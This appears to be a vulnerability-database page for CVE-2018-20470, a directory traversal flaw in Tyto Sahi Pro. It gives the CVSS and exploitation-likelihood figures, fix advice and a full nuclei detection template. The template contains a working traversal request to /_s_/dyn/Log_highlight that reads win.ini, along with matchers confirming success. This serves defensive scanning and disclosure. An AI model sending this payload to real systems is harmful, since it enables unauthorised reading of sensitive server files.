HexBrain

Browse / CVEs / CVE-2018-20470

CVE-2018-20470· sahipro / sahi pro· CWE-22

Tyto Sahi pro 7.x/8.x - Local File Inclusion

highseverity
7.5CVSS score
46.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Tyto Sahi Pro versions through 7.x.x and 8.0.0 are susceptible to a local file inclusion vulnerability in the web reports module which can allow an outside attacker to view contents of sensitive files.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.

Fix

Apply the latest security patches or upgrade to a patched version of Tyto Sahi pro.

How to confirm it

Send: GET {{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200

Run it with nuclei: nuclei -id CVE-2018-20470 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-20470

info:
  name: Tyto Sahi pro 7.x/8.x - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    Tyto Sahi Pro versions through 7.x.x and 8.0.0 are susceptible to a local file inclusion vulnerability in the web reports module which can allow an outside attacker to view contents of sensitive files.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Tyto Sahi pro.
  reference:
    - https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/
    - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20470
    cwe-id: CWE-22
    epss-score: 0.4606
    epss-percentile: 0.98819
    cpe: cpe:2.3:a:sahipro:sahi_pro:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sahipro
    product: sahi_pro
  tags: cve2018,cve,lfi,packetstorm,sahipro,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from